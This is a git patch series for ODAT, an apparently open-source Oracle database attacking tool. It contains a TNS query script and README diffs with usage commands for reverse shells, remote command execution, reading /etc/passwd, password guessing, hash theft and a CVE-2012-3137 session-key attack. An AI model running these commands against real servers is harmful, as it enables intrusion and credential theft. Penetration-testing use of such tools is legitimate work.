+ """Draw the table + + - the table is returned as a whole string + """ + + if not self._header and not self._rows: + return + self._compute_cols_width() + self._check_align() + out = "" + if self._has_border(): + out += self._hline() + if self._header: + out += self._draw_line(self._header, isheader=True) + if self._has_header(): + out += self._hline_header() + length = 0 + for row in self._rows: + length += 1 + out += self._draw_line(row) + if self._has_hlines() and length < len(self._rows): + out += self._hline() + if self._has_border(): + out += self._hline() + return out[:-1] + + def _str(self, i, x): + """Handles string formatting of cell data + + i - index of the cell datatype in self._dtype + x - cell data to format + """ + try: + f = float(x) + except: + return str(x) + + n = self._precision + dtype = self._dtype[i] + + if dtype == 'i': + return str(int(round(f))) + elif dtype == 'f': + return '%.*f' % (n, f) + elif dtype == 'e': + return '%.*e' % (n, f) + elif dtype == 't': + return str(x) + else: + if f - round(f) == 0: + if abs(f) > 1e8: + return '%.*e' % (n, f) + else: + return str(int(round(f))) + else: + if abs(f) > 1e8: + return '%.*e' % (n, f) + else: + return '%.*f' % (n, f) + + def _check_row_size(self, array): + """Check that the specified array fits the previous rows size + """ + + if not self._row_size: + self._row_size = len(array) + elif self._row_size != len(array): + raise ArraySizeError, "array should contain %d elements" \ + % self._row_size + + def _has_vlines(self): + """Return a boolean, if vlines are required or not + """ + + return self._deco & Texttable.VLINES > 0 + + def _has_hlines(self): + """Return a boolean, if hlines are required or not + """ + + return self._deco & Texttable.HLINES > 0 + + def _has_border(self): + """Return a boolean, if border is required or not + """ + + return self._deco & Texttable.BORDER > 0 + + def _has_header(self): + """Return a boolean, if header line is required or not + """ + + return self._deco & Texttable.HEADER > 0 + + def _hline_header(self): + """Print header's horizontal line + """ + + return self._build_hline(True) + + def _hline(self): + """Print an horizontal line + """ + + if not self._hline_string: + self._hline_string = self._build_hline() + return self._hline_string + + def _build_hline(self, is_header=False): + """Return a string used to separated rows or separate header from + rows + """ + horiz = self._char_horiz + if (is_header): + horiz = self._char_header + # compute cell separator + s = "%s%s%s" % (horiz, [horiz, self._char_corner][self._has_vlines()], + horiz) + # build the line + l = string.join([horiz * n for n in self._width], s) + # add border if needed + if self._has_border(): + l = "%s%s%s%s%s\n" % (self._char_corner, horiz, l, horiz, + self._char_corner) + else: + l += "\n" + return l + + def _len_cell(self, cell): + """Return the width of the cell + + Special characters are taken into account to return the width of the + cell, such like newlines and tabs + """ + + cell_lines = cell.split('\n') + maxi = 0 + for line in cell_lines: + length = 0 + parts = line.split('\t') + for part, i in zip(parts, range(1, len(parts) + 1)): + length = length + len(part) + if i < len(parts): + length = (length/8 + 1) * 8 + maxi = max(maxi, length) + return maxi + + def _compute_cols_width(self): + """Return an array with the width of each column + + If a specific width has been specified, exit. If the total of the + columns width exceed the table desired width, another width will be + computed to fit, and cells will be wrapped. + """ + + if hasattr(self, "_width"): + return + maxi = [] + if self._header: + maxi = [ self._len_cell(x) for x in self._header ] + for row in self._rows: + for cell,i in zip(row, range(len(row))): + try: + maxi[i] = max(maxi[i], self._len_cell(cell)) + except (TypeError, IndexError): + maxi.append(self._len_cell(cell)) + items = len(maxi) + length = reduce(lambda x,y: x+y, maxi) + if self._max_width and length + items * 3 + 1 > self._max_width: + maxi = [(self._max_width - items * 3 -1) / items \ + for n in range(items)] + self._width = maxi + + def _check_align(self): + """Check if alignment has been specified, set default one if not + """ + + if not hasattr(self, "_align"): + self._align = ["l"] * self._row_size + if not hasattr(self, "_valign"): + self._valign = ["t"] * self._row_size + + def _draw_line(self, line, isheader=False): + """Draw a line + + Loop over a single cell length, over all the cells + """ + + line = self._splitit(line, isheader) + space = " " + out = "" + for i in range(len(line[0])): + if self._has_border(): + out += "%s " % self._char_vert + length = 0 + for cell, width, align in zip(line, self._width, self._align): + length += 1 + cell_line = cell[i] + fill = width - len(cell_line) + if isheader: + align = "c" + if align == "r": + out += "%s " % (fill * space + cell_line) + elif align == "c": + out += "%s " % (fill/2 * space + cell_line \ + + (fill/2 + fill%2) * space) + else: + out += "%s " % (cell_line + fill * space) + if length < len(line): + out += "%s " % [space, self._char_vert][self._has_vlines()] + out += "%s\n" % ['', self._char_vert][self._has_border()] + return out + + def _splitit(self, line, isheader): + """Split each element of line to fit the column width + + Each element is turned into a list, result of the wrapping of the + string to the desired width + """ + + line_wrapped = [] + for cell, width in zip(line, self._width): + array = [] + for c in cell.split('\n'): + try: + c = unicode(c, 'utf') + except UnicodeDecodeError, strerror: + sys.stderr.write("UnicodeDecodeError exception for string '%s': %s\n" % (c, strerror)) + c = unicode(c, 'utf', 'replace') + array.extend(textwrap.wrap(c, width)) + line_wrapped.append(array) + max_cell_lines = reduce(max, map(len, line_wrapped)) + for cell, valign in zip(line_wrapped, self._valign): + if isheader: + valign = "t" + if valign == "m": + missing = max_cell_lines - len(cell) + cell[:0] = [""] * (missing / 2) + cell.extend([""] * (missing / 2 + missing % 2)) + elif valign == "b": + cell[:0] = [""] * (max_cell_lines - len(cell)) + else: + cell.extend([""] * (max_cell_lines - len(cell))) + return line_wrapped + +if __name__ == '__main__': + table = Texttable() + table.set_cols_align(["l", "r", "c"]) + table.set_cols_valign(["t", "m", "b"]) + table.add_rows([ ["Name", "Age", "Nickname"], + ["Mr\nXavier\nHuon", 32, "Xav'"], + ["Mr\nBaptiste\nClement", 1, "Baby"] ]) + print table.draw() + "\n" + + table = Texttable() + table.set_deco(Texttable.HEADER) + table.set_cols_dtype(['t', # text + 'f', # float (decimal) + 'e', # float (exponent) + 'i', # integer + 'a']) # automatic + table.set_cols_align(["l", "r", "r", "r", "l"]) + table.add_rows([["text", "float", "exp", "int", "auto"], + ["abcd", "67", 654, 89, 128.001], + ["efghijk", 67.5434, .654, 89.6, 12800000000000000000000.00023], + ["lmn", 5e-78, 5e-78, 89.4, .000000000000128], + ["opqrstu", .023, 5e+78, 92., 12800000000000000000000]]) + print table.draw() diff --git a/tnscmd.py b/tnscmd.py new file mode 100644 index 0000000..ddbb650 --- /dev/null +++ b/tnscmd.py @@ -0,0 +1,84 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging,struct, socket, re +from sys import exit + +class Tnscmd (): + ''' + Get information about the oracle database service + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Tnscmd object created") + self.args = args + self.recvdata = "" + self.alias = [] + + def getInformation(self,cmd='ping'): + ''' + Get information about the oracle database service + ''' + command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) + commandlen = len(command) + logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) + clenH = commandlen >> 8 + clenL = commandlen & 0xff + # calculate packet length + packetlen = commandlen + 58; # "preamble" is 58 bytes + plenH = packetlen >> 8 + plenL = packetlen & 0xff + # decimal offset + # 0: packetlen_high packetlen_low + # 26: cmdlen_high cmdlen_low + # 58: command + packet = [plenH, plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, + 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, + clenH, clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00] + #put the command in packet + for c in command : packet.append(ord(c)) + sendbuf = ''.join([struct.pack('B', val) for val in packet]) + logging.debug("connect to this service") + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((self.args['server'],int(self.args['port']))) + logging.debug("writing {0} bytes".format(len(sendbuf))) + s.sendall(sendbuf) + logging.debug("reading data") + # read until socket EOF + while 1: + data = s.recv(1024) + self.recvdata += data + if not data: break + s.close() + except socket.error,e: + logging.error("Error: {0}".format(e)) + exit(EXIT_BAD_CONNECTION) + # 1st 12 bytes have some meaning which so far eludes me + logging.info('Data received: {0}'.format(repr(self.recvdata))) + print self.recvdata + self.__getAliasStrg__() + + def __getAliasStrg__(self): + ''' + load aliasstring from self.recvdata + ''' + alias = re.findall(r'(?<=ALIAS).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','').replace('=','')) + logging.info("Alias found: {0}".format(self.alias)) + +args = {} +args['server'] = '192.168.1.18' +args['port'] = '1521' +tnscmd = Tnscmd(args) +tnscmd.getInformation(cmd="status") + + + From bc2f6ae51a8681952fafc736bee6655e24729f08 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Wed, 25 Jun 2014 23:43:01 +0200 Subject: [PATCH 02/83] First Commit: Project ODAT --- README.md | 71 ++++++++++++++++--------------------------------------- 1 file changed, 20 insertions(+), 51 deletions(-) diff --git a/README.md b/README.md index 38673ac..abec689 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ Thanks to ODAT, you can: * UTL_HTTP * HttpUriType * UTL_TCP -* exploit the __CVE-2012-313__ ([http://cvedetails.com/cve/2012-3137]) +* exploit the __CVE-2012-313__ (http://cvedetails.com/cve/2012-3137) * pickup the session key and salt for arbitrary users * attack by dictionary on sessions @@ -83,7 +83,7 @@ Don't forget that an ODAT standalone version exists in *build*: __It is not requ * Install *python-dev*, *alien* and *libaio1* package (for sqlplus): ```bash -$ sudo apt-get install libaio1 python-dev alien python-pip +sudo apt-get install libaio1 python-dev alien python-pip ``` * Generate DEB files from RPM files thanks to : @@ -151,7 +151,7 @@ sudo pip install colorlog termcolor pycrypto sudo pip install argcomplete && sudo activate-global-python-argcomplete ``` -* Install the install the __development__ version of pyinstaller (http://www.pyinstaller.org/). +* Install the __development__ version of pyinstaller (http://www.pyinstaller.org/). ```bash python setup.py install ``` @@ -179,7 +179,7 @@ Modules ./odat.py all -h ``` -Module *all* + *all* module --- The *all* module allows you to run all modules (depends on options that you have purchased). @@ -209,7 +209,7 @@ It is useful __when you want to known what you can do on a database server (with ./odat.py all -s 192.168.142.73 -p 1521 -d ORCL -U SYS -P password ``` -Module *sidguesser* + *sidguesser* module --- This module search valid SID only. @@ -219,7 +219,7 @@ This module search valid SID only. ./odat.py passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt ``` -Module *passwordguesser* + *passwordguesser* module --- This module has been created in order to try to guess Oracle users passwords. @@ -235,7 +235,7 @@ This module has been created in order to try to guess Oracle users passwords. ``` -Module *dbmsscheduler* + *dbmsscheduler* module --- This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. @@ -252,7 +252,7 @@ __Note 2__: You don't need to open a listen port manually to have a reverse tcp > I think it is the __most useful__ and __most effective__ module: Many times I have meet Oracle users who can use the Oracle DBMS_SCHEDULER library but not the JAVA. -Module *java* + *java* module --- This module can be used to execute system commands on a remote database server. Useful to get a __shell__ or a __reverse tcp shell__. @@ -267,7 +267,7 @@ This module can be used to execute system commands on a remote database server. ./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell ``` -Module *oradbg* + *oradbg* module --- This module can be used to execute system commands on a remote database server: @@ -277,7 +277,7 @@ This module can be used to execute system commands on a remote database server: ./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls ``` -Module *utlhttp* + *utlhttp* module --- This module allows you to forge HTTP requests. You can sendand receive HTTP request from the database server. @@ -301,7 +301,7 @@ echo 'GET / HTTP/1.0\n' > ./temp.txt; rm ./temp.txt ``` -Module *httpuritype* + *httpuritype* module --- This module can be used to scan ports and to forge some HTTP requests: @@ -317,7 +317,7 @@ This module can be used to scan ports and to forge some HTTP requests: ./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80 ``` -Module *utltcp* + *utltcp* module --- This module can be used to scan ports and it can be used to forge and to send TCP packet (ex: HTTP request). @@ -334,7 +334,7 @@ echo 'GET / HTTP/1.0\n\n' > ./temp.txt; rm ./temp.txt ``` -Module *ctxsys* + *ctxsys* module --- This module can be used to download a file stored on the database server: @@ -344,7 +344,7 @@ This module can be used to download a file stored on the database server: ./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd ``` -Module *externaltable* + *externaltable* module --- This module can be used to download files or to run script remotly. @@ -364,7 +364,7 @@ __Notes__: ./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh ``` -Module *dbmsxslprocessor* + *dbmsxslprocessor* module --- This module can be used to upload a file on a remote database server: @@ -374,7 +374,7 @@ This module can be used to upload a file on a remote database server: ./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt test.txt ``` -Module *dbmsadvisor* + *dbmsadvisor* module --- This module can be used to upload a file on the server. @@ -384,7 +384,7 @@ This module can be used to upload a file on the server. ./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./test.txt ``` -Module *utlfile* + *utlfile* module --- This module can be used to: @@ -408,7 +408,7 @@ This module can be used to: ./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt ``` -Module *passwordstealer* + *passwordstealer* module --- This module has been created in order to get hashed password quicly and to pickup hashed passwords from the history. @@ -423,10 +423,10 @@ This module has been created in order to get hashed password quicly and to picku ./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords ``` -Module *stealRemotePwds* + *stealRemotePwds* module --- -This module allows you to exploit the CVE-2012-3137 ([http://www.cvedetails.com/cve/CVE-2012-3137/]) vulnerability easily. +This module allows you to exploit the CVE-2012-3137 (http://www.cvedetails.com/cve/CVE-2012-3137/) vulnerability easily. __Note__: Need *root* privileges in order to sniff session keys and salts from the network. @@ -446,34 +446,3 @@ sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SER | __qhardyfr@gmail.com__ | | __quentin.hardy@bt.com__ | --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From 794c199c8c30796e2ff5e7c74b25d5e9449f9ebf Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Wed, 25 Jun 2014 23:54:29 +0200 Subject: [PATCH 03/83] First Commit: Project ODAT --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index abec689..cd2af36 100644 --- a/README.md +++ b/README.md @@ -190,9 +190,9 @@ It is useful __when you want to known what you can do on a database server (with ```bash ./odat.py all -s 192.168.142.73 -p 1521 ``` - * ODAT will search valid SID. - * It will search valid Oracle accounts on each Oracle Instance (SID) found. - * For each valid account on each valid instance (SID), it will give you what each user can do (execute system commands on the database server, read files, etc). +ODAT will search valid SID. +It will search valid Oracle accounts on each Oracle Instance (SID) found. +For each valid account on each valid instance (SID), it will give you what each user can do (execute system commands on the database server, read files, etc). * If you known a SID (ex: *ORCL*): ```bash @@ -241,8 +241,8 @@ This module has been created in order to try to guess Oracle users passwords. This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. __Note 1__: It is not possible to: -1. get the output of the system command -2. to give some special chararacters in arguments to the system command (ex: *>*) +- get the output of the system command +- to give some special chararacters in arguments to the system command (ex: *>*) * To get a reverse tcp shell when the remote database server is a Linux: ```bash @@ -350,9 +350,9 @@ This module can be used to download a file stored on the database server: This module can be used to download files or to run script remotly. __Notes__: -* It is __not possible to give an argument__ to the executable -* The executable must be stored on the database server -* The executable must have the execution bit enabled +- It is __not possible to give an argument__ to the executable +- The executable must be stored on the database server +- The executable must have the execution bit enabled * To download the *temp.sh* file stored in */tmp/* in *test.txt*: ```bash @@ -388,9 +388,9 @@ This module can be used to upload a file on the server. --- This module can be used to: -* upload a file -* download a file -* delete a remote file +- upload a file +- download a file +- delete a remote file * To download the */etc/passwd* file: From 9c5f323910d539f303ff060cf7f1bec0041dedc2 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Thu, 26 Jun 2014 00:00:19 +0200 Subject: [PATCH 04/83] First Commit: Project ODAT --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index cd2af36..8eb721d 100644 --- a/README.md +++ b/README.md @@ -241,8 +241,8 @@ This module has been created in order to try to guess Oracle users passwords. This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. __Note 1__: It is not possible to: -- get the output of the system command -- to give some special chararacters in arguments to the system command (ex: *>*) + ~ get the output of the system command + ~ to give some special chararacters in arguments to the system command (ex: *>*) * To get a reverse tcp shell when the remote database server is a Linux: ```bash @@ -257,7 +257,7 @@ __Note 2__: You don't need to open a listen port manually to have a reverse tcp This module can be used to execute system commands on a remote database server. Useful to get a __shell__ or a __reverse tcp shell__. -* To get a *shell* on the database server:* +* To get a *shell* on the database server: ```bash ./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --shell ``` @@ -350,9 +350,9 @@ This module can be used to download a file stored on the database server: This module can be used to download files or to run script remotly. __Notes__: -- It is __not possible to give an argument__ to the executable -- The executable must be stored on the database server -- The executable must have the execution bit enabled + ~ It is __not possible to give an argument__ to the executable + ~ The executable must be stored on the database server + ~ The executable must have the execution bit enabled * To download the *temp.sh* file stored in */tmp/* in *test.txt*: ```bash @@ -388,9 +388,9 @@ This module can be used to upload a file on the server. --- This module can be used to: -- upload a file -- download a file -- delete a remote file + ~ upload a file + ~ download a file + ~ delete a remote file * To download the */etc/passwd* file: @@ -443,6 +443,6 @@ sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SER --- | __Quentin HARDY__ | | ------------- | -| __qhardyfr@gmail.com__ | | __quentin.hardy@bt.com__ | ---- +| __qhardyfr@gmail.com__ | + From 32c67a9f6a323ba29bd419dfc1be083179668a74 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Thu, 26 Jun 2014 00:02:19 +0200 Subject: [PATCH 05/83] First Commit: Project ODAT --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 8eb721d..a3c0643 100644 --- a/README.md +++ b/README.md @@ -241,7 +241,9 @@ This module has been created in order to try to guess Oracle users passwords. This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. __Note 1__: It is not possible to: + ~ get the output of the system command + ~ to give some special chararacters in arguments to the system command (ex: *>*) * To get a reverse tcp shell when the remote database server is a Linux: @@ -350,8 +352,11 @@ This module can be used to download a file stored on the database server: This module can be used to download files or to run script remotly. __Notes__: + ~ It is __not possible to give an argument__ to the executable + ~ The executable must be stored on the database server + ~ The executable must have the execution bit enabled * To download the *temp.sh* file stored in */tmp/* in *test.txt*: @@ -388,8 +393,11 @@ This module can be used to upload a file on the server. --- This module can be used to: + ~ upload a file + ~ download a file + ~ delete a remote file From aa94204f6508a8deb8766b84ffb701d317a1bb23 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Thu, 26 Jun 2014 00:08:31 +0200 Subject: [PATCH 06/83] First Commit: Project ODAT --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a3c0643..ed19a55 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ __ODAT__ ( __O__ racle __D__ atabase __A__ ttacking __T__ ool) is an open source Current version: 1.0 ==== -Version __1.0__ (2014/07/01) +Version __1.0__ (2014/06/26) Tested on Oracle Database __10g__ and __11g__. From f269ce5d6c8122a285dfe448458a7d3e771bc2b8 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Thu, 26 Jun 2014 00:33:59 +0200 Subject: [PATCH 07/83] Add a picture : main features --- README.md | 2 ++ pictures/ODAT_main_features_v1.0.jpg | Bin 0 -> 196482 bytes 2 files changed, 2 insertions(+) create mode 100644 pictures/ODAT_main_features_v1.0.jpg diff --git a/README.md b/README.md index ed19a55..b1ac7f5 100644 --- a/README.md +++ b/README.md @@ -51,6 +51,8 @@ Thanks to ODAT, you can: * pickup the session key and salt for arbitrary users * attack by dictionary on sessions +![Alt text](./pictures/ODAT_main_features_v1.0.jpg) + Supported Platforms and dependencies ==== diff --git a/pictures/ODAT_main_features_v1.0.jpg b/pictures/ODAT_main_features_v1.0.jpg new file mode 100644 index 0000000000000000000000000000000000000000..17ee1cb3703ec51a03c7e28c9c2967024e41e175 GIT binary patch literal 196482 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 